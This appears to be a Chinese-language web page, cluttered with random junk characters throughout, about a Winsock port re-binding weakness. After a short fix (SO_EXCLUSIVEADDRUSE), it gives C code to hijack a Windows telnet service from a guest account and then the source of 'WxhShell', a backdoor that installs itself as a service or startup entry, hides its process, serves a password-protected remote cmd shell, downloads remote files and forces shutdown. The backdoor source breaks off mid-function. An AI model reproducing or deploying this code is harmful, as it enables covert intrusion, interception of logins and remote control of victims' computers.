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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: (f"LD8MJ/ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *'@T+$3s 5S! !@P!, saddr.sin_family = AF_INET; kf' 4C
"} w/ID yQ saddr.sin_addr.s_addr = htonl(INADDR_ANY); @zsqjm )RT:u)N bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); k <LFH( SmP&wNHQf 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 %wq;<'W +'g~3A-G 这意味着什么?意味着可以进行如下的攻击: 9$R}GK oHethk 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 _6sSS\ s<LYSr d 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) :RX zqC FCt %of# 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 u-wj\BU n--s[Kdo8 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 `jGG^w3 bqZ5GKUo 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 _/}/1/y$Y 0{47TX*YX 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ]n4G]ybK% mx0EEU* 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 &UX:KW`= yt`K^07@ #include tNDv[IF #include ;c# jO:A5 #include jH2_Ekgc;_ #include :T/I%|;f DWORD WINAPI ClientThread(LPVOID lpParam); kfs[*ku int main() yT C+5_7 { Wtj*Z.=: WORD wVersionRequested; {60U6n DWORD ret; AKUmh WSADATA wsaData; -pm%F8{T] BOOL val; qL!pDZk SOCKADDR_IN saddr; +)e+$
l SOCKADDR_IN scaddr; ~|8-Mo1ce int err; |Y;[)s =q SOCKET s; 6F3FcUL SOCKET sc; ^qNr<Ye int caddsize; YyD0g9{ HANDLE mt; 2j-^F DWORD tid; 6fw2;$x" wVersionRequested = MAKEWORD( 2, 2 ); 8/ PS#dM\ err = WSAStartup( wVersionRequested, &wsaData ); M_f.e!? if ( err != 0 ) { "|d# +C printf("error!WSAStartup failed!\n"); 7NQEn Al return -1; 9<1dps=c } Hus.Jfam saddr.sin_family = AF_INET; mBg$eiGTB `:YCOF //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 ?!$:I8T 1HBXD\! saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); h~u|v[@{J saddr.sin_port = htons(23); qW|_|%{U+ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e4Q2$Q@b { #DguV printf("error!socket failed!\n"); GHLnwym return -1; 35AH|U7b } kSol%C val = TRUE; @XL49D12c //SO_REUSEADDR选项就是可以实现端口重绑定的 ow
6\j:$? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) }*%=C!m4R! { Lw^%<.DM+t printf("error!setsockopt failed!\n"); q[vO
mes return -1; --TH6j" } v,N!cp1 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; sA: /!9 //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 \8a014 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 ASMItT }3XjP55 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7KRNTnd { `LIlR8&@aX ret=GetLastError(); =? q&/
cru printf("error!bind failed!\n"); 1
rbc}e return -1; ~
W8
M3(^ } 54TWFDmGi listen(s,2); U:MZN[Cc[ while(1) F{7
BY~d { 5HL>2
e[ caddsize = sizeof(scaddr); 3)&rj 7 //接受连接请求 em^2\*sxpA sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ?H!&4o if(sc!=INVALID_SOCKET) 5qqU8I { 6~s{HI! mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); l<sWM$ez if(mt==NULL) R~TG5^( { WwSyw?T printf("Thread Creat Failed!\n"); A"+t[0$. break; 6w{""K.{ } }!s$
/Kn } O,J,Q|`H& CloseHandle(mt); ih:%U } |?'
gT"# closesocket(s); p<@+0Uw2 WSACleanup(); 'e
x/IqbK return 0; 5KYR"-jY } t`\l+L DWORD WINAPI ClientThread(LPVOID lpParam) ?f:\&+.& { W"xRf0\V SOCKET ss = (SOCKET)lpParam; Hpp;dG SOCKET sc; 9x8Ai unsigned char buf[4096]; !$o9:[B SOCKADDR_IN saddr; <lPHeO<^] long num; aO\@5i_r DWORD val; N *n?hN DWORD ret; .8|5;!`WB //如果是隐藏端口应用的话,可以在此处加一些判断 Y3hudjhLl //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ?nR$>a` saddr.sin_family = AF_INET; D%'rq saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0R,Y[).U saddr.sin_port = htons(23); Ahg6>7+R. if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) :Sk<0VVd7 { ~BI! l printf("error!socket failed!\n"); m%OX<
T! return -1; jin?;v } a4!6K val = 100; cXOb= if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ."v&?o
Ck] { BQ~&gy{ ret = GetLastError(); n] n3/wpO return -1;
YwB\kN } ,rQPs if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) =Sn!'@%U] { s8kkf5bu ret = GetLastError(); rMUQh~a/ return -1; JvLa@E) } %G~%:uJ5 if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) ch}(v'xv( { RFm9dHI27 printf("error!socket connect failed!\n"); "{(4 closesocket(sc); 3sGe#s% closesocket(ss); q|ZQsFZ return -1; ;0\ } `L}Irt} while(1) K<tkNWasQ { t)~v5vr //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 C0Ti9 //如果是嗅探内容的话,可以再此处进行内容分析和记录 [ 5kaF" //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 0bk094 num = recv(ss,buf,4096,0); .:s**UiDR if(num>0) s"]LQM1| send(sc,buf,num,0); $X;fz)u else if(num==0) !~k-Sexh break; BI6o@d;=4 num = recv(sc,buf,4096,0); <El6?ml@ if(num>0) [&FWR send(ss,buf,num,0); /F 1mYq~ else if(num==0) #r)c@?T@j break; ;HaG-c</ } "^ cn9AG{ closesocket(ss); C"ZCX6p+$ closesocket(sc); ~8EG0F;t return 0 ; 5lC "10 } "I]% aK0 e]{X62] X/nb7_M ========================================================== 4o2C=?@( {N$G|bm]u< 下边附上一个代码,,WXhSHELL %+9Mr ami .HG0%Vp ========================================================== 5X-cDY*| 8P'>%G<m #include "stdafx.h" !W8'apG&[ ^@`dsll #include <stdio.h> ( UV8M\ #include <string.h> P Z;O
pp #include <windows.h> vV|u+v{ #include <winsock2.h> z>hG' #include <winsvc.h> h^bbU. #include <urlmon.h> }o?@ 8<6;X7<- #pragma comment (lib, "Ws2_32.lib") @&d/}Mx"t #pragma comment (lib, "urlmon.lib") j4Cad W!z=AL{ #define MAX_USER 100 // 最大客户端连接数 qgU$0enSs #define BUF_SOCK 200 // sock buffer A=|&N%lP' #define KEY_BUFF 255 // 输入 buffer z&d&Ky aC$hg+U$G #define REBOOT 0 // 重启 <$HP"f+<S5 #define SHUTDOWN 1 // 关机 Xi1/wbC oO>mGl36H #define DEF_PORT 5000 // 监听端口 ^'C1VQ% 0AFjO) #define REG_LEN 16 // 注册表键长度 y#^d8
}+ #define SVC_LEN 80 // NT服务名长度 m4|9p{E pNI=HHx // 从dll定义API H{`S/>)[ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); s&!g ) typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Rg,pC.7; typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); $ T.c>13 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); ]Z@-r 2RidI&?c< // wxhshell配置信息 hO@'WoniW struct WSCFG { e&E""ye int ws_port; // 监听端口 4r5?C;g char ws_passstr[REG_LEN]; // 口令 ](@Tbm8 int ws_autoins; // 安装标记, 1=yes 0=no < ppg$; char ws_regname[REG_LEN]; // 注册表键名 Sim\+SL{# char ws_svcname[REG_LEN]; // 服务名 y'pAhdF char ws_svcdisp[SVC_LEN]; // 服务显示名 AY{caM char ws_svcdesc[SVC_LEN]; // 服务描述信息 R-"A*/A 2 char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }i./, int ws_downexe; // 下载执行标记, 1=yes 0=no <MI>>$seiJ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" @]t} bF] char ws_filenam[SVC_LEN]; // 下载后保存的文件名 KE`}P<K& m49GCo k+ }; u!];RHOp| 2}[)y\`t3 // default Wxhshell configuration ]i)m struct WSCFG wscfg={DEF_PORT, t0d1??G "xuhuanlingzhe", tpO%)* 1, DDyeNuK "Wxhshell", 6SIk?]u "Wxhshell", ds,NNN<HW "WxhShell Service", 7/w)^&8 "Wrsky Windows CmdShell Service", \m~?mg"# "Please Input Your Password: ", Ro`9Ibqr 1, o
nt8q8 " http://www.wrsky.com/wxhshell.exe", [nB[]j<R* "Wxhshell.exe" 8hZ+[E} }; K2<"O qp_W (;;%B = // 消息定义模块 E4GtJ`{X char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; bf|s=,D char *msg_ws_prompt="\n\r? for help\n\r#>"; $DeHo"mg7m char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; 4!64S5(7t char *msg_ws_ext="\n\rExit."; c"Ddw'?e char *msg_ws_end="\n\rQuit."; f^b.~jXSR} char *msg_ws_boot="\n\rReboot..."; ;fw}<M!6 char *msg_ws_poff="\n\rShutdown..."; _o/LFLq char *msg_ws_down="\n\rSave to "; d
_)5Ks} 'hN_H}U char *msg_ws_err="\n\rErr!"; mD<- <]SYp char *msg_ws_ok="\n\rOK!"; S=B?bD_,c L_3Ao'SA char ExeFile[MAX_PATH]; L&ucTc= int nUser = 0; jR[VPm= HANDLE handles[MAX_USER];
n@xC?D:t* int OsIsNt; q#B=PZ'NA f]%:.N~1w SERVICE_STATUS serviceStatus; `Y>'*4a\ SERVICE_STATUS_HANDLE hServiceStatusHandle; _ p%=RIR LK\L}<;1V // 函数声明 ovm109fTx int Install(void); (iQ<
[3C= int Uninstall(void); D$@5$./ int DownloadFile(char *sURL, SOCKET wsh); vZMb/}-o int Boot(int flag); pGz 5!d void HideProc(void); Y;2WY0eq int GetOsVer(void);
ac int Wxhshell(SOCKET wsl); rlxZ,]ul void TalkWithClient(void *cs); U'~M(9uv: int CmdShell(SOCKET sock); [g)HoR=& int StartFromService(void); S$#"bK/p^ int StartWxhshell(LPSTR lpCmdLine); S7pf
QF c8z6-6`i0 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); M3q%(!2 VOID WINAPI NTServiceHandler( DWORD fdwControl ); {A^ 3<=| 3(&k4 // 数据结构和表定义 J9aqmQj(' SERVICE_TABLE_ENTRY DispatchTable[] = rhff8C//' { a]H&k$!c {wscfg.ws_svcname, NTServiceMain}, (\8IgQ{ {NULL, NULL} z)tULnR8 }; BD.&K_AW 74_':,u;]~ // 自我安装 v9k\[E? int Install(void) jVlXB6[- { 3+[; char svExeFile[MAX_PATH]; \/XU v( HKEY key; 79&=MTM
strcpy(svExeFile,ExeFile); wjtFZGx& F\u]X // 如果是win9x系统,修改注册表设为自启动 ;t~Y>, if(!OsIsNt) { ZR]p7{8B if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hTc
:'vq RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 2CMWJi RegCloseKey(key); q$7w?(Lk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { hZIbN9)8A RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 5J-slNNCQ RegCloseKey(key); 8Y"R@'~ return 0; FPb4VJ|xm } &3Y "Zd! } OYyF*F&S[ } V~#8lu7; else { n +v(t 8q]_> X // 如果是NT以上系统,安装为系统服务 DX0#q # SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 'QSj- if (schSCManager!=0) <=~*`eWV { @Os0A SC_HANDLE schService = CreateService %MCJ%Ph ( h[bC#( schSCManager, 5{gv\S1 wscfg.ws_svcname, !_q=r[D\ wscfg.ws_svcdisp, r}:Dg
fn SERVICE_ALL_ACCESS, fBb:J + SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , /H?) qk SERVICE_AUTO_START, v}5||s!= SERVICE_ERROR_NORMAL, :x,dYJm svExeFile, WN $KS"b6} NULL, a8YFH$Xh NULL, }ssP%c] NULL, w7E#mdW NULL, kXWC
o6? NULL hzk4SOT( ); _'|C-j`u$ if (schService!=0) N(e>]ui { SB|Cr:wM CloseServiceHandle(schService); iu9+1+- CloseServiceHandle(schSCManager); Sim$:5P strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); bzaweAH strcat(svExeFile,wscfg.ws_svcname); q>s`G if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { DoNN;^H RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Z6zLL RegCloseKey(key); ]|N"jr?7H return 0; )xL_jSyh } l*Q OM } 9.:&u/e CloseServiceHandle(schSCManager); }R~C<3u\2 } 24po}nrO } dP<i/@21Wm R|k!w] return 1; /g1;`F(MS/ } xouBBb= cR&d=+R& // 自我卸载 'JO}6
;W int Uninstall(void) <'jygZ( { J[UTn'M8] HKEY key; S#0C^ cpH*!*S if(!OsIsNt) { pf#R] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Abpzf\F RegDeleteValue(key,wscfg.ws_regname); kaRjv RegCloseKey(key); l}FA&c" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { W6)XMl}n RegDeleteValue(key,wscfg.ws_regname); S] 4RGWn RegCloseKey(key); x}f)P return 0; vos-[$ } ZSB;4 ?:h } fc<,kRp } OTEx9 else { j'XND`3 w[uwhd SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); uZP(-} if (schSCManager!=0) Qqd +=mgc { #UnGU,J SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); QZ5%nJme_ if (schService!=0) FC4hvO(/m { oMxpdG3y- if(DeleteService(schService)!=0) { (9)uZ-BF, CloseServiceHandle(schService); h2aO-y>K CloseServiceHandle(schSCManager); :io~{a#.2\ return 0; "^t;V+Io } 9x14I2 CloseServiceHandle(schService); 08$l= } b:&=W>r CloseServiceHandle(schSCManager); >BjZ{7?Ok } hAB:;r XlI } 3ZAzv en `)H|
&!wT return 1; o6X<FE#8 } .Pa6HA ! rjH W // 从指定url下载文件 %"3tGi:/ int DownloadFile(char *sURL, SOCKET wsh) %G jjl*`E { I -XkxDw HRESULT hr; ,`( Qs7)Xx char seps[]= "/"; tY?evsVgz char *token; Zk #C!]= char *file; }
ejc char myURL[MAX_PATH]; af/;D r@ char myFILE[MAX_PATH]; >;X^+JH!) 7 v(<<> strcpy(myURL,sURL); wHErF
#xo token=strtok(myURL,seps); z6OJT6<' while(token!=NULL) zQtx!k= { peU1
t:k? file=token; l 4cTN
@E token=strtok(NULL,seps); L_AQS9a^D } 4hV~
ir i^/D_L. GetCurrentDirectory(MAX_PATH,myFILE); ":Pfi!9Wl strcat(myFILE, "\\"); H.TPKdVX strcat(myFILE, file); B=2f-o send(wsh,myFILE,strlen(myFILE),0); SVT'fPm1M send(wsh,"...",3,0); x;/%`gKn8 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zj'uKBDl if(hr==S_OK) btB> -pT return 0; 7A>glZ/x else >c@1UEwkm return 1; b.v^:M s KOy6v
} iLkP@OYgQ C9cQ}
j: // 系统电源模块 &M+fb4:_ int Boot(int flag) b~m|mb$ { ht^xcc HANDLE hToken; w24@KaKFo TOKEN_PRIVILEGES tkp; ^1+&)6s7V #)$@Kvm if(OsIsNt) { jiAN8t*P OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v]BMET[w LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); nK|WzUtp tkp.PrivilegeCount = 1; /bv4/P tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; *.Ceb%W7C AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {KalVZX2R if(flag==REBOOT) { )3~):+ if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) p'IF2e&z return 0; fRd^@@,[ } tsu Mt else { khtSZ"8X if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) AIFI@#3 return 0; xA2"i2k9 } GFBku^pi } X
Sw0t8 else { -V)DKf"f if(flag==REBOOT) { J.QFrIB{]+ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) JA~v:ec return 0; m`Ver:{ } =%V(n{7= else { /a!M6:,pX if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Grw|8xN0t return 0; +1%7*2q, } G\1\L*+0 } %Cz&7 qf" qx~-(|s`H return 1; gK8{ =A0c } N3J;_=<4 %nfaU~IqK // win9x进程隐藏模块 V>&WZY void HideProc(void) [_h/DhC:+ { ?W(>Yefk r#%z1u HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); $kA'9Y if ( hKernel != NULL ) plRBfw>]N { fGtUr_D pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 9=J+5V^qD< ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (93+b%^[ FreeLibrary(hKernel); <!s+X_^ } eiV[y^? n@)Kf
A)& return; Pu=,L#+F N } qQu}4Ye> >vP DF+ u // 获取操作系统版本 j[Y$)HF int GetOsVer(void) c05kHB$O { q`l%NE OSVERSIONINFO winfo; ]c.1&OB7o winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); x9s7:F GetVersionEx(&winfo); F?wfh7q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) t0 1@h_WS return 1; G98P<cyD else I0
78[3b return 0; ?~vVSY } `*J;4Ju@ 0Y_?r$M // 客户端句柄模块 QU]&q`GE int Wxhshell(SOCKET wsl) .>Gnb2
{ -_bnGY%, SOCKET wsh; X2?
^t]-N struct sockaddr_in client; >VQP,J{ DWORD myID; QgZwU$`p0 4;]<#u while(nUser<MAX_USER) '@$YX*[ { Nq`@ >Ml int nSize=sizeof(client); []'gIF wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q M#1XbT if(wsh==INVALID_SOCKET) return 1; vdn`PS'# PJq;OM| handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); |,3>A@ if(handles[nUser]==0) Z`UwXp_s closesocket(wsh); uANG_sX^n else "$->nC. nUser++; %V,2,NCd
} Rqi=AQ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); I~'%
:!SVpCt3 return 0; -YXNB[C } CFm(
yFk gx-ib/_f1 // 关闭 socket pO^PkX void CloseIt(SOCKET wsh) DqfWu* { ! :[`>=! closesocket(wsh); 0rt@4"~~w nUser--; @%(Vi!Cv"R ExitThread(0); m#}41< } MI:
rH {|KFgQ'\ // 客户端请求句柄 Q]JWWKt6rV void TalkWithClient(void *cs) z%)~s/2Rs { q*L>MV `!`g&:Y SOCKET wsh=(SOCKET)cs; f9" M^i char pwd[SVC_LEN]; y:Wq;xEiDo char cmd[KEY_BUFF]; y*F !k{P char chr[1]; \dm5Em/ int i,j; 9nM_LV @U8}K# while (nUser < MAX_USER) { !lVOZ% `fnU p- if(wscfg.ws_passstr) { Oe)d|6= if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); VjI=5)+~ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); SmpYH@ //ZeroMemory(pwd,KEY_BUFF); J?wCqA i=0; x0KW\<k while(i<SVC_LEN) { ww}4
Q #Tg)5.\ // 设置超时 W)_|jpd[ fd_set FdRead; ~+A(zlYr~ struct timeval TimeOut; /5!0wxN FD_ZERO(&FdRead); Wbq0K6X FD_SET(wsh,&FdRead); GM~Ek]9C% TimeOut.tv_sec=8; w4nU86oZYl TimeOut.tv_usec=0; lZ'WFFWLE int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); NihUCj" if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); !*?|*\B^I 4'+g/i1S
F if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3 T1,:r pwd =chr[0]; %`_Rl>@K= if(chr[0]==0xd || chr[0]==0xa) { ]\C wa9 pwd=0; e9=UTn{! break; E/3i_R } WYUel4Z i++; iV$TvD+ } EV'i/*v}\ ~Ydm"G // 如果是非法用户,关闭 socket :MP*Xy\7&J if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?u?Nhf
%b } +a'LdEp QZm7
Q4 send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3;O4o]` send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kSpy-bVn 0H+!v while(1) { eJ%b"H! .6=;{h4cpB ZeroMemory(cmd,KEY_BUFF); ]#\De73K h+ms%tNT // 自动支持客户端 telnet标准 N>H#Ew@2U j=0; L>Y3t1= while(j<KEY_BUFF) { :O'QL, if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); LPeVr^ cmd[j]=chr[0]; 3&!v"ms if(chr[0]==0xa || chr[0]==0xd) { l*$~Y0 cmd[j]=0; A+MG?k>yg break; a&Z,~Vp } zIA)se
Js j++; kz/"5gX: } | .gE9'"bv %a?\y_a=b // 下载文件 M2$Hb_S{ if(strstr(cmd,"http://")) { rE Me=>^
send(wsh,msg_ws_down,strlen(msg_ws_down),0); DbSR(: if(DownloadFile(cmd,wsh)) R.\]JvqO send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ne)3@? else ~:
fSD0 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); t#VX#dJ } 6M
;lD5(> else { .Y0O. -<ome~| switch(cmd[0]) { !|l7b2NEz- 73_=CP"t // 帮助 ckb(+*+l case '?': { o`Af6C;Q send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Ifokg~X~G break; g=KvCqJN } "L;@qCfhO // 安装 D59q/@ case 'i': { ${rWDZ0Z if(Install()) dC;&X
g` send(wsh,msg_ws_err,strlen(msg_ws_err),0); |@~_&g else zBK"k]rz send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -G~/ GO break; ff7#LeB9 } TNckyP75u // 卸载 OFBEJacy case 'r': { gj
iFpW4 if(Uninstall()) ($!uBF-b send(wsh,msg_ws_err,strlen(msg_ws_err),0); C=(Q0-+L| else vcCNxIzEG send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); teI?.M9r break; "iGQ1#6|d } X- X`Z`o // 显示 wxhshell 所在路径 P*B@it case 'p': { aOw#]pB| char svExeFile[MAX_PATH]; g\?v 5 strcpy(svExeFile,"\n\r"); d#XgO5eyO strcat(svExeFile,ExeFile); 9Zj3 "v+b send(wsh,svExeFile,strlen(svExeFile),0); a6gPJF[Jo break; "]uPke@ } xY/F)JOeG // 重启 <;yS&8 case 'b': { P(FlU]q send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {* :^K\- if(Boot(REBOOT)) B=;kC#Emtf send(wsh,msg_ws_err,strlen(msg_ws_err),0); OjAdY\
]1 else { zc=G4F01 closesocket(wsh); by0K:*C ExitThread(0); G3`9'-2q@c } G[JWG break; |/H?\]7 } X(eW+,H // 关机 qjh k#\y case 'd': { QuG"]$ send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); DQ3L= if(Boot(SHUTDOWN)) ZgG~xl\My send(wsh,msg_ws_err,strlen(msg_ws_err),0); cD6 ^7QF else { u8.Tu7~ closesocket(wsh); +p63J ExitThread(0); [U",yN]d } _k26(rdI@- break; 1<1+nGO } {J
izCUo_' // 获取shell Ha|}Oj
case 's': { MJqWc6{ n CmdShell(wsh); M_Ag*?2I closesocket(wsh); yyljyE ExitThread(0); GC7 WRA break; YC8IwyL' } @XolFOL"f" // 退出 ,dTmI{@O case 'x': { H7.l)' send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); O^=+"O] CloseIt(wsh); =?0v,;F9| break; k9OGnCW\ } wEM=Tr/h // 离开 ~WTk X(\ case 'q': { C
'MR=/sd send(wsh,msg_ws_end,strlen(msg_ws_end),0); Sx QA*}N closesocket(wsh); ObEz 0Rj WSACleanup(); -$o0P'Vx exit(1); oRSA&hSs break; {eI'0== } nOL.% } 3sdL\ } L55UeP\ ~qeFSU( // 提示信息 qjhV/fsfb if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =xIZJ8e } Ve|:k5z } K2yNIq_ Y2QX< return; J??AU0vh } [ ,Go*r >*h+N?
m // shell模块句柄 $~.YB\3 int CmdShell(SOCKET sock) wxo {
#O}}pF STARTUPINFO si; H(
i ZeroMemory(&si,sizeof(si)); nS%jnp# si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; D?1fY!C:r si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WM
?a1j PROCESS_INFORMATION ProcessInfo; Lcpe*C x- char cmdline[]="cmd"; ? /z[Jx. CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); r)'vn[A return 0; rnj$u-8 } K#wA ; 0dC5
-/+ // 自身启动模式 (8h4\utA int StartFromService(void) :LNE?@ { q%dG>! typedef struct -Y/i
h(I^ { 2uE<mjCt-r DWORD ExitStatus; w7?fJ")
DWORD PebBaseAddress; Y)X7*iTi'j DWORD AffinityMask; Q!1 ;xw~ DWORD BasePriority; mfQ#n!{ZH ULONG UniqueProcessId; 6^]| ULONG InheritedFromUniqueProcessId; zg<-%r'$ } PROCESS_BASIC_INFORMATION; *tF~CG$r l}z<q PROCNTQSIP NtQueryInformationProcess; ]WDmx$"&e MMFwT(l<1 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; `]eJF|" static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; Kt_oo[ey{ :'Qiwf& HANDLE hProcess; ux&"TkEp PROCESS_BASIC_INFORMATION pbi; %)JEYH7Z w'H'o!*/ HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); LBK{-(% if(NULL == hInst ) return 0; (E0 &ry*~"xoh g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules");
